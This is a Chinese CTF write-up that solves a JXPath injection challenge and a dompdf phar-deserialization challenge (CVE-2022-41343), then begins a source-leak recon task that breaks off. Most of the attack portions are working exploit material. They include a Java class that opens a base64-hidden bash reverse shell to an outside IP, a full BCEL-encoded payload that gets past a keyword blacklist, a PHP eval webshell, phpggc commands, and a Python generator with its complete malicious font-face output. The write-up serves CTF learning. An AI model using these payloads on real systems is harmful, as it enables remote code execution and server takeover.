ezjxpath 考点:TCTF中的非预期解 都这么久了TCTF的影响力还是依然影响到今天的,首先先来审一下题吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 package com.example.first.controller;import com.example.first.utils.Waf;import org.apache.commons.jxpath.JXPathContext;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;@Controller public class IndexController { public IndexController () { } @ResponseBody @RequestMapping({"/index"}) public String index () { return "Hello CTFer" ; } @ResponseBody @RequestMapping({"/hack"}) public String hack (@RequestParam(name = "query",required = true) String query) throws Exception { try { Waf waf = new Waf (); if (!waf.check(query)) { return "try harder" ; } else { JXPathContext context = JXPathContext.newContext((Object)null ); context.getValue(query); return "good job!" ; } } catch (Exception var4) { return "some thing wrong?" ; } } }
主要逻辑如上,很简短,主要重点就是JXPathContext
,这个东西在之前被爆出过CVE
1 2 3 4 5 6 7 8 public static void main (String[] args) { try { JXPathContext context = JXPathContext.newContext(null ); context.getValue("exec(java.lang.Runtime.getRuntime(), 'calc')" ); } catch (Exception e) { e.printStackTrace(); } }
1 2 3 4 5 6 7 8 public static void main (String[] args) { try { JXPathContext context = JXPathContext.newContext(null ); context.getValue("org.springframework.context.support.ClassPathXmlApplicationContext.new(\"http://127.0.0.1:9000/spring-Evil.xml\")" ); } catch (Exception e) { e.printStackTrace(); } }
1 2 3 4 5 6 try { JXPathContext context = JXPathContext.newContext(null ); context.getValue("javax.naming.InitialContext.doLookup('rmi://127.0.0.1:1099/1u560y')" ); } catch (Exception e) { e.printStackTrace(); }
常规的payload不亚于以上三种,但是很遗憾,题目都给在waf里ban掉了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 package com.example.first.utils;import java.io.UnsupportedEncodingException;import java.net.URLDecoder;import java.util.ArrayList;import java.util.Arrays;import java.util.List;import java.util.Locale;public class Waf { private List<String> blacklist = new ArrayList (Arrays.asList("java.lang" , "Runtime" , "org.springframework" , "javax.naming" , "Process" , "ScriptEngineManager" )); public boolean check (String s) throws UnsupportedEncodingException { if (s.isEmpty()) { return false ; } else { String reals = URLDecoder.decode(s, "UTF-8" ).toUpperCase(Locale.ROOT); for (int i = 0 ; i < this .blacklist.size(); ++i) { if (reals.toUpperCase(Locale.ROOT).contains(((String)this .blacklist.get(i)).toUpperCase(Locale.ROOT))) { return false ; } } return true ; } } public Waf () { } }
如此一来我们只能另寻蹊跷了,赛后就突然想到TCTF里的非预期解好多都是静态方法,而这里我们也是用静态方法去利用的com.sun.org.apache.bcel.internal.util.JavaWrapper
,这个类的_main
方法逻辑如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public static void _main (String[] argv) throws Exception { if (argv.length == 0 ) { System.out.println("Missing class name." ); return ; } String class_name = argv[0 ]; String[] new_argv = new String [argv.length - 1 ]; System.arraycopy(argv, 1 , new_argv, 0 , new_argv.length); JavaWrapper wrapper = new JavaWrapper (); wrapper.runMain(class_name, new_argv); } }
主要逻辑在于runMain方法里面,class_name和new_argv就是类名和参数,逻辑如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public void runMain (String class_name, String[] argv) throws ClassNotFoundException{ Class cl = loader.loadClass(class_name); Method method = null ; try { method = cl.getMethod("_main" , new Class [] { argv.getClass() }); int m = method.getModifiers(); Class r = method.getReturnType(); if (!(Modifier.isPublic(m) && Modifier.isStatic(m)) || Modifier.isAbstract(m) || (r != Void.TYPE)) throw new NoSuchMethodException (); } catch (NoSuchMethodException no) { System.out.println("In class " + class_name + ": public static void _main(String[] argv) is not defined" ); return ; } try { method.invoke(null , new Object [] { argv }); } catch (Exception ex) { ex.printStackTrace(); } }
loader.loadClass(class_name);
处显然是有类加载的,而这个loader仔细一看会发现是一个BCEL
那这里就回到之前写的一篇文章了BCEL-ClassLoader赛博学习 在这里提到了BCEL字节码是怎么加载和利用的。然后对于上述的JavaWrapper类,最后loadclass后会去调用恶意类的_main方法,那我们只需要复刻一下恶意类就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package org.example;import java.io.IOException;public class calc { public static void _main (String[] argv) throws IOException { Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE2LjExOS4yNTMvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" ); } public static void main (String[] args) { } }
随之把他编译为字节码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package org.example;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.classfile.Utility;import com.sun.org.apache.bcel.internal.util.ClassLoader;import java.io.IOException;public class App { public static void main ( String[] args ) throws Exception { JavaClass javaClass = Repository.lookupClass(calc.class); String code = Utility.encode(javaClass.getBytes(), true ); System.out.println(code); Class.forName("$$BCEL$$" +code,true ,new ClassLoader ()); com.sun.org.apache.bcel.internal.util.JavaWrapper._main(); } }
最后打入。
1 context.getValue("com.sun.org.apache.bcel.internal.util.JavaWrapper._main(split('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmR$5dO$TA$U$3dC$b7$5d$ba$ae$C$c5$ef$_$aab$y$d2$ba$R$88$n$a91i$9ab4$db$WiS$82$3e$98$e92$d9N$d3$dd$r$bb$db$ba$80$fc$u_$d4$f8$e0$P$f0G$Z$ef$b4$84$Sa$92$993s$ee$99s$e7$de$cc$9f$bf$bf$7e$Dx$89$a7$G2$b8m$e0$O$ee$ce$e2$9e$c2$fb$3a$k$e8x$c8$90y$z$7d$Z$bfaH$VV$3a$MZ5$d8$X$Ms$b6$f4Ec$e8uE$d8$e6$dd$B19$3bp$f8$a0$c3C$a9$ce$a7$a4$W$f7d4$8e$85$ae$r$S$ee$j$M$84E2$a7$cc$90$fe$ecq$e93$dc$y$7c$b2$fb$7c$c4$ad$B$f7$5d$ab$V$87$d2w$cb$e3T$3ctG$M$8b$97$84$Z$8cZ$e2$88$83X$G$7e$a4c$89$c4$T3u$87$S$g$ad$60$Y$3abK$aaGdU$c2$X$ca$c3$84$8eY$jy$T$8f$f0$98$81wy$d4$cb$97$9c$fc$b1pzAq$cf$db$3a$e2$d5J$cc$5b$95$d5$f7$b22$fa$f8$b6$b3f$af$ef$f4$9d$eafRo$7f$Y$d6$db$b55$bb_K$9a$ad$8d$c3F$bb$3ej$i9$eb$8d$c3$ca$97m$b9$97$9c$7c$3d$s3$f1j$a3X$da$9f$ec$7b$c5$92$3c1$f1$E$cb$M$f3$ff$97O$d4$b4$a6f$b7$_$9c$98$K$jS2$b0$de5$cf$8acX$98$Kw$86$7e$y$3d$aa$c8pE$7cv$b8QX$b1$_h$a8C$9aH$E$rzV$b8$a4$bb$e7$a8$ed0pD$U$95$a9$ri$fa$Ej$a4$c0T$a3h$cd$d2$c9$od$84$e9$e7$3f$c0$be$d1f$G$G$ad$99$J$89$x$b4$9a$a7$7b$TW$J$b3$b8$869R$a9$cb$9b$84$wf$fc$c4L$$$f5$j$da$ee$d4$c1$m$E$r$caR$aa$a9$8b$81y$y$Q$e6hj$c4$yR$fc$3a$f9M$k$b3JS$a9$$$3c$c4$3cgA$3d$Z$5b$d0$df$g$abn$fd$D$f9$9fP$X$e8$C$A$A',','))");
上述用到了split来获取数组,这是山河师傅发现的,我当时以为不能直接用split,要用全类名,但实际上Jxpath是识别的。
pdf_converter_revenge 考点:Phar反序列化 那个最初的版本就不说了,都是用TP5的RCE直接打的。说说预期解吧,拿到附件后会发现是基于TP5的一个web,有一个依赖迪奥做dompdfhttp://buaq.net/go-129526.html 找到了这一篇文章,里面有详细的说明
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public function registerFont ($style , $remoteFile , $context = null ) { [...] $entry [$styleString ] = $localFile ; [$protocol ] = Helpers ::explode_url ($remoteFile ); $allowed_protocols = $this ->options->getAllowedProtocols (); if (!array_key_exists ($protocol , $allowed_protocols )) { Helpers ::record_warnings (E_USER_WARNING, "Permission denied on $remoteFile . The communication protocol is not supported." , __FILE__ , __LINE__ ); } foreach ($allowed_protocols [$protocol ]["rules" ] as $rule ) { [$result , $message ] = $rule ($remoteFile ); if ($result !== true ) { Helpers ::record_warnings (E_USER_WARNING, "Error loading $remoteFile : $message " , __FILE__ , __LINE__ ); } } list ($remoteFileContent , $http_response_header ) = @Helpers ::getFileContent ($remoteFile , $context ); if ($remoteFileContent === null ) { return false ; } [...] }
主要错误就在这一段,在if ($result !== true)
后并没有return来结束,因此可以进入getFileContent
函数,这意味着可以使用任何协议,然后包括主角phar。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 public static function getFileContent ($uri , $context = null , $offset = 0 , $maxlen = null ) { $content = null ; $headers = null ; [$protocol ] = Helpers ::explode_url ($uri ); $is_local_path = in_array (strtolower ($protocol ), ["" , "file://" , "phar://" ], true ); $can_use_curl = in_array (strtolower ($protocol ), ["http://" , "https://" ], true ); set_error_handler ([self ::class , 'record_warnings' ]); try { if ($is_local_path || ini_get ('allow_url_fopen' ) || !$can_use_curl ) { if ($is_local_path === false ) { $uri = Helpers ::encodeURI ($uri ); } if (isset ($maxlen )) { $result = file_get_contents ($uri , false , $context , $offset , $maxlen ); } else { $result = file_get_contents ($uri , false , $context , $offset ); } if ($result !== false ) { $content = $result ; } if (isset ($http_response_header )) { $headers = $http_response_header ; } } elseif ($can_use_curl && function_exists ('curl_exec' )) { [...] } } finally { restore_error_handler (); } return [$content , $headers ]; } [...]
可以看到file_get_contents,之后就不赘述了,接下来解释一下复现步骤,由于题目是基于TP5的,那么肯定是可以打TP5的反序列化利用链。 首先我们要生成恶意字体文件,用以下脚本去生成:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import fontforgeimport osimport sysimport tempfilefrom typing import Optional def main (): sys.stdout.buffer.write(do_generate_font()) def do_generate_font () -> bytes : fd, fn = tempfile.mkstemp(suffix=".ttf" ) os.close(fd) font = fontforge.font() font.copyright = "DUMMY FONT" font.generate(fn) with open (fn, "rb" ) as f: res = f.read() os.unlink(fn) result = res return result if __name__ == "__main__" : main()
大概率会报错font模块没找到apt-get install python3-fontforge
安装一下 之后可以生成可以font:python3 generate_font.py > font.ttf
随之用phpggc去生成payload。./phpggc ThinkPHP/FW1 <remote_path> <local_path>
用法如上,remote_path是要写入靶场的位置,local_path是你shell文件的位置。 需要注意的是。tp5的话写入public文件夹下。因为只有public文件夹下我们可以访问 这里我准备的shell如下。
1 2 3 ┌──(root㉿DESKTOP-OOLM65F)-[/mnt/e/CtfTool/phpggc-master/phpggc-master] └─ <?php eval ($_POST ['boogipop' ]);?>
php -d phar.readonly=0 phpggc ThinkPHP/FW1 /var/www/html/public ./1.php -p phar -pp font.ttf -o font-polyglot.phar
随后用如下脚本生成payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 import argparseimport hashlibimport base64import urllib.parseimport osPAYLOAD_TEMPLATE_URL_ENCODED = ''' <style>@font-face+{+font-family:'exploit';+src:url('%s');+font-weight:'normal';+font-style:'normal';}</style> ''' PAYLOAD_TEMPLATE = ''' <style> @font-face { font-family:'exploit'; src:url('%s'); font-weight:'normal'; font-style:'normal'; } </style> ''' def get_args (): parser = argparse.ArgumentParser( prog="generate_payload.py" , formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50 ), epilog= ''' This script will generate payloads for CVE-2022-41343 ''' ) parser.add_argument("file" , help ="Polyglot File" ) parser.add_argument("-p" , "--path" , default="/var/www/" , help ="Base path to vendor directory (Default = /var/www/)" ) args = parser.parse_args() return args def main (): args = get_args() file = args.file.strip() path = args.path.strip() if (os.path.exists(file)): generate_payloads(file, path) else : print ("ERROR: File doesn't exist." ) def generate_payloads (file, path ): with open (file, "rb" ) as f: fc = f.read() b64 = base64.b64encode(fc) data_uri_pure = "data:text/plain;base64,%s" % b64.decode() md5 = hashlib.md5(data_uri_pure.encode()).hexdigest() data_uri_double_encoded = "data:text/plain;base64,%s" % urllib.parse.quote_plus(urllib.parse.quote_plus(b64.decode())) phar_uri = "phar://%s/vendor/dompdf/dompdf/lib/fonts/exploit_normal_%s.ttf##" % (path,md5) req1_enc = PAYLOAD_TEMPLATE_URL_ENCODED % data_uri_double_encoded req2_enc = PAYLOAD_TEMPLATE_URL_ENCODED % urllib.parse.quote_plus(phar_uri) req1_pure = PAYLOAD_TEMPLATE % data_uri_double_encoded req2_pure = PAYLOAD_TEMPLATE % phar_uri print ("====== REQUEST 1 ENCODED =======" ) print (req1_enc) print ("====== REQUEST 2 ENCODED =======" ) print (req2_enc) print ("====== REQUEST 1 NOT ENCODED =======" ) print (req1_pure) print ("====== REQUEST 2 NOT ENCODED =======" ) print (req2_pure) if __name__ == "__main__" : main()
python exp.py -p "/var/www/html" font-polyglot.phar
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 ====== REQUEST 1 ENCODED ======= <style>@font-face+{+font-family:'exploit';+src:url('data:text/plain;base64,AAEAAAANAIAAAwBQRkZUTaDD5rQAAAVwAAAAHE9TLzJVeV76AAABWAAAAGBjbWFwAA0DlgAAAcQAAAE6Y3Z0IAAhAnkAAAMAAAAABGdhc3D%252F%252FwADAAAFaAAAAAhnbHlmPaWWPgAAAwwAAABUaGVhZCE%252FRL0AAADcAAAANmhoZWEEIAAAAAABFAAAACRobXR4ArkAIQAAAbgAAAAMbG9jYQAqAFQAAAMEAAAACG1heHAARwA5AAABOAAAACBuYW1lpiMmRgAAA2AAAAHjcG9zdP%252B3ADIAAAVEAAAAIgABAAAAAQAAj5CsK18PPPUACwPoAAAAAOBrAJ8AAAAA4GsAnwAhAAABKgKaAAAACAACAAAAAAAAAAEAAAKaAAAAWgAAAAD%252F%252FwEqAAEAAAAAAAAAAAAAAAAAAAAAAAEAAAADAAgAAgAAAAAAAgAAAAEAAQAAAEAALgAAAAAABAH0AZAABQAAAooCvAAAAIwCigK8AAAB4AAxAQIAAAIABQMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUGZFZACA%252F%252F8AAAMg%252FzgAWgKaAAAAAAABAAAAAAAAAAAAAAAgAAEBbAAhAAAAAAFNAAAAAAADAAAAAwAAABwAAQAAAAAANAADAAEAAAAcAAQAGAAAAAIAAgAAAAD%252F%252FwAA%252F%252F8AAQAAAAABBgAAAQAAAAAAAAABAgAAAAIAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACECeQAAACoAKgAqAAIAIQAAASoCmgADAAcALrEBAC88sgcEAO0ysQYF3DyyAwIA7TIAsQMALzyyBQQA7TKyBwYB%252FDyyAQIA7TIzESERJzMRIyEBCejHxwKa%252FWYhAlgAAAAADgCuAAEAAAAAAAAACgAWAAEAAAAAAAEACQA1AAEAAAAAAAIABwBPAAEAAAAAAAMAJQCjAAEAAAAAAAQACQDdAAEAAAAAAAUADwEHAAEAAAAAAAYACQErAAMAAQQJAAAAFAAAAAMAAQQJAAEAEgAhAAMAAQQJAAIADgA%252FAAMAAQQJAAMASgBXAAMAAQQJAAQAEgDJAAMAAQQJAAUAHgDnAAMAAQQJAAYAEgEXAEQAVQBNAE0AWQAgAEYATwBOAFQAAERVTU1ZIEZPTlQAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAFIAZQBnAHUAbABhAHIAAFJlZ3VsYXIAAEYAbwBuAHQARgBvAHIAZwBlACAAMgAuADAAIAA6ACAAVQBuAHQAaQB0AGwAZQBkADEAIAA6ACAAMgAzAC0ANAAtADIAMAAyADMAAEZvbnRGb3JnZSAyLjAgOiBVbnRpdGxlZDEgOiAyMy00LTIwMjMAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAFYAZQByAHMAaQBvAG4AIAAwADAAMQAuADAAMAAwAABWZXJzaW9uIDAwMS4wMDAAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAAACAAAAAAAA%252F7UAMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH%252F%252FwACAAAAAQAAAADf7eV1AAAAAOBrAJ8AAAAA4GsAnzw%252FcGhwIF9fSEFMVF9DT01QSUxFUigpOyA%252FPg0K8wMAAAEAAAARAAAAAQAAAAAAvQMAAE86MTM6InRoaW5rXFByb2Nlc3MiOjM6e3M6Mjc6IgB0aGlua1xQcm9jZXNzAHByb2Nlc3NQaXBlcyI7TzoyODoidGhpbmtcbW9kZWxccmVsYXRpb25cSGFzTWFueSI6NTp7czo4OiIAKgBxdWVyeSI7TzoyMDoidGhpbmtcY29uc29sZVxPdXRwdXQiOjI6e3M6OToiACoAc3R5bGVzIjthOjE6e2k6MDtzOjU6IndoZXJlIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjE6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6NjoiACoAdGFnIjtiOjE7czoxMDoiACoAb3B0aW9ucyI7YToyOntzOjY6ImV4cGlyZSI7aTowO3M6NjoicHJlZml4IjtzOjA6IiI7fXM6MTA6IgAqAGhhbmRsZXIiO086MjM6InRoaW5rXGNhY2hlXGRyaXZlclxGaWxlIjoyOntzOjY6IgAqAHRhZyI7YjowO3M6MTA6IgAqAG9wdGlvbnMiO2E6NTp7czo2OiJleHBpcmUiO2k6MzYwMDtzOjEyOiJjYWNoZV9zdWJkaXIiO2I6MDtzOjY6InByZWZpeCI7czowOiIiO3M6MTM6ImRhdGFfY29tcHJlc3MiO2I6MDtzOjQ6InBhdGgiO3M6NzQ6InBocDovL2ZpbHRlci9jb252ZXJ0LmJhc2U2NC1kZWNvZGUvcmVzb3VyY2U9L3Zhci93d3cvaHRtbC9wdWJsaWMvc2hlbGwucGhwIjt9fX19fXM6OToiACoAcGFyZW50IjtPOjE3OiJ0aGlua1xtb2RlbFxNZXJnZSI6MTp7czoxOiJhIjtzOjE6IjEiO31zOjExOiIAKgBsb2NhbEtleSI7czoxOiJhIjtzOjg6IgAqAHBpdm90IjtOO3M6MTM6IgAqAGZvcmVpZ25LZXkiO3M6NTE6IkFBQVBEOXdhSEFnWlhaaGJDZ2tYMUJQVTFSYkoySnZiMmRwY0c5d0oxMHBPejgrQ2crKyI7fXM6MjE6IgB0aGlua1xQcm9jZXNzAHN0YXR1cyI7aTozO3M6MzM6IgB0aGlua1xQcm9jZXNzAHByb2Nlc3NJbmZvcm1hdGlvbiI7YToxOntzOjc6InJ1bm5pbmciO2I6MTt9fQgAAAB0ZXN0LnR4dAQAAADqUEVkBAAAAAx%252Bf9ikAQAAAAAAAHRlc3SpuV9bLO9QZl15mVF8JesEYNmlUQIAAABHQk1C');+font-weight:'normal';+font-style:'normal';}</style> ====== REQUEST 2 ENCODED ======= <style>@font-face+{+font-family:'exploit';+src:url('phar%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fvendor%2Fdompdf%2Fdompdf%2Flib%2Ffonts%2Fexploit_normal_58b7eee7dc2adb832946db6e899c457f.ttf%23%23');+font-weight:'normal';+font-style:'normal';}</style> ====== REQUEST 1 NOT ENCODED ======= <style> @font-face { font-family:'exploit'; src:url('data:text/plain;base64,AAEAAAANAIAAAwBQRkZUTaDD5rQAAAVwAAAAHE9TLzJVeV76AAABWAAAAGBjbWFwAA0DlgAAAcQAAAE6Y3Z0IAAhAnkAAAMAAAAABGdhc3D%252F%252FwADAAAFaAAAAAhnbHlmPaWWPgAAAwwAAABUaGVhZCE%252FRL0AAADcAAAANmhoZWEEIAAAAAABFAAAACRobXR4ArkAIQAAAbgAAAAMbG9jYQAqAFQAAAMEAAAACG1heHAARwA5AAABOAAAACBuYW1lpiMmRgAAA2AAAAHjcG9zdP%252B3ADIAAAVEAAAAIgABAAAAAQAAj5CsK18PPPUACwPoAAAAAOBrAJ8AAAAA4GsAnwAhAAABKgKaAAAACAACAAAAAAAAAAEAAAKaAAAAWgAAAAD%252F%252FwEqAAEAAAAAAAAAAAAAAAAAAAAAAAEAAAADAAgAAgAAAAAAAgAAAAEAAQAAAEAALgAAAAAABAH0AZAABQAAAooCvAAAAIwCigK8AAAB4AAxAQIAAAIABQMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUGZFZACA%252F%252F8AAAMg%252FzgAWgKaAAAAAAABAAAAAAAAAAAAAAAgAAEBbAAhAAAAAAFNAAAAAAADAAAAAwAAABwAAQAAAAAANAADAAEAAAAcAAQAGAAAAAIAAgAAAAD%252F%252FwAA%252F%252F8AAQAAAAABBgAAAQAAAAAAAAABAgAAAAIAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACECeQAAACoAKgAqAAIAIQAAASoCmgADAAcALrEBAC88sgcEAO0ysQYF3DyyAwIA7TIAsQMALzyyBQQA7TKyBwYB%252FDyyAQIA7TIzESERJzMRIyEBCejHxwKa%252FWYhAlgAAAAADgCuAAEAAAAAAAAACgAWAAEAAAAAAAEACQA1AAEAAAAAAAIABwBPAAEAAAAAAAMAJQCjAAEAAAAAAAQACQDdAAEAAAAAAAUADwEHAAEAAAAAAAYACQErAAMAAQQJAAAAFAAAAAMAAQQJAAEAEgAhAAMAAQQJAAIADgA%252FAAMAAQQJAAMASgBXAAMAAQQJAAQAEgDJAAMAAQQJAAUAHgDnAAMAAQQJAAYAEgEXAEQAVQBNAE0AWQAgAEYATwBOAFQAAERVTU1ZIEZPTlQAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAFIAZQBnAHUAbABhAHIAAFJlZ3VsYXIAAEYAbwBuAHQARgBvAHIAZwBlACAAMgAuADAAIAA6ACAAVQBuAHQAaQB0AGwAZQBkADEAIAA6ACAAMgAzAC0ANAAtADIAMAAyADMAAEZvbnRGb3JnZSAyLjAgOiBVbnRpdGxlZDEgOiAyMy00LTIwMjMAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAFYAZQByAHMAaQBvAG4AIAAwADAAMQAuADAAMAAwAABWZXJzaW9uIDAwMS4wMDAAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAAACAAAAAAAA%252F7UAMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH%252F%252FwACAAAAAQAAAADf7eV1AAAAAOBrAJ8AAAAA4GsAnzw%252FcGhwIF9fSEFMVF9DT01QSUxFUigpOyA%252FPg0K8wMAAAEAAAARAAAAAQAAAAAAvQMAAE86MTM6InRoaW5rXFByb2Nlc3MiOjM6e3M6Mjc6IgB0aGlua1xQcm9jZXNzAHByb2Nlc3NQaXBlcyI7TzoyODoidGhpbmtcbW9kZWxccmVsYXRpb25cSGFzTWFueSI6NTp7czo4OiIAKgBxdWVyeSI7TzoyMDoidGhpbmtcY29uc29sZVxPdXRwdXQiOjI6e3M6OToiACoAc3R5bGVzIjthOjE6e2k6MDtzOjU6IndoZXJlIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjE6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6NjoiACoAdGFnIjtiOjE7czoxMDoiACoAb3B0aW9ucyI7YToyOntzOjY6ImV4cGlyZSI7aTowO3M6NjoicHJlZml4IjtzOjA6IiI7fXM6MTA6IgAqAGhhbmRsZXIiO086MjM6InRoaW5rXGNhY2hlXGRyaXZlclxGaWxlIjoyOntzOjY6IgAqAHRhZyI7YjowO3M6MTA6IgAqAG9wdGlvbnMiO2E6NTp7czo2OiJleHBpcmUiO2k6MzYwMDtzOjEyOiJjYWNoZV9zdWJkaXIiO2I6MDtzOjY6InByZWZpeCI7czowOiIiO3M6MTM6ImRhdGFfY29tcHJlc3MiO2I6MDtzOjQ6InBhdGgiO3M6NzQ6InBocDovL2ZpbHRlci9jb252ZXJ0LmJhc2U2NC1kZWNvZGUvcmVzb3VyY2U9L3Zhci93d3cvaHRtbC9wdWJsaWMvc2hlbGwucGhwIjt9fX19fXM6OToiACoAcGFyZW50IjtPOjE3OiJ0aGlua1xtb2RlbFxNZXJnZSI6MTp7czoxOiJhIjtzOjE6IjEiO31zOjExOiIAKgBsb2NhbEtleSI7czoxOiJhIjtzOjg6IgAqAHBpdm90IjtOO3M6MTM6IgAqAGZvcmVpZ25LZXkiO3M6NTE6IkFBQVBEOXdhSEFnWlhaaGJDZ2tYMUJQVTFSYkoySnZiMmRwY0c5d0oxMHBPejgrQ2crKyI7fXM6MjE6IgB0aGlua1xQcm9jZXNzAHN0YXR1cyI7aTozO3M6MzM6IgB0aGlua1xQcm9jZXNzAHByb2Nlc3NJbmZvcm1hdGlvbiI7YToxOntzOjc6InJ1bm5pbmciO2I6MTt9fQgAAAB0ZXN0LnR4dAQAAADqUEVkBAAAAAx%252Bf9ikAQAAAAAAAHRlc3SpuV9bLO9QZl15mVF8JesEYNmlUQIAAABHQk1C'); font-weight:'normal'; font-style:'normal'; } </style> ====== REQUEST 2 NOT ENCODED ======= <style> @font-face { font-family:'exploit'; src:url('phar:///var/www/html/vendor/dompdf/dompdf/lib/fonts/exploit_normal_58b7eee7dc2adb832946db6e899c457f.ttf##'); font-weight:'normal'; font-style:'normal'; } </style>
这里我们需要本地起一个服务docker去观察一下,这里全是细节了。 首先打入第一个payload后生成的ttf文件名字和上述不同,我们需要自己手动观察。 可以看到exploit_normal_68d0c0a2c8ad91268f107b3cebba8700.ttf
我们需要把第二段exp的md5改为上述看到的,之后打入之后会发现shell已经成功写入:shell.php3b58a9545013e88c7186db11bb158c44.php
这是名字,那么最后访问这个就可以获取shell了。
你听说过JS的webshell吗 1. coding 其他 git 托管凭据泄漏
解题步骤 基本信息 打开网页 直接打开 f12 发现 api 与注释
目录扫描 这里其实想说的是扫描该网站 看看有没有发现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 $ dirsearch -u http://127.0.0.1 # 这里不需要引入任何字典 泄漏的文件相当常见 _|. _ _ _ _ _ _|_ v0.4.2.8 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11458 Output File: /tmp/reports/ Target: http://127.0.0.1/ [23:23:56] Starting: [23:23:56] 403 - 9B - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [23:23:56] 403 - 9B - /%2e%2e//google.com [23:23:58] 400 - 14B - /\..\..\..\..\..\..\..\..\..\etc\passwd [23:24:00] 200 - 679B - /app.js [23:24:01] 403 - 9B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [23:24:02] 200 - 439B - /config.js [23:24:03] 200 - 170B - /Dockerfile [23:24:07] 200 - 627B - /package.json [23:24:07] 200 - 29KB - /package-lock.json [23:24:08] 200 - 9B - /Readme.md [23:24:08] 200 - 9B - /README.md [23:24:08] 200 - 9B - /README.MD [23:24:08] 200 - 9B - /ReadMe.md [23:24:08] 200 - 9B - /readme.md [23:24:12] 200 - 6KB - /views Task Completed
入口点发现 发现存在相关的 js web 文件 尝试查看是否有其他泄漏。
这里所有的证据都说明了 这个网站泄漏了源代码 也就是 js 文件 接下来测试是否存在 ecosystem.config.js 文件 来验证这个结论 我们可以试试 https://127.0.0.1/ecosystem.config.js
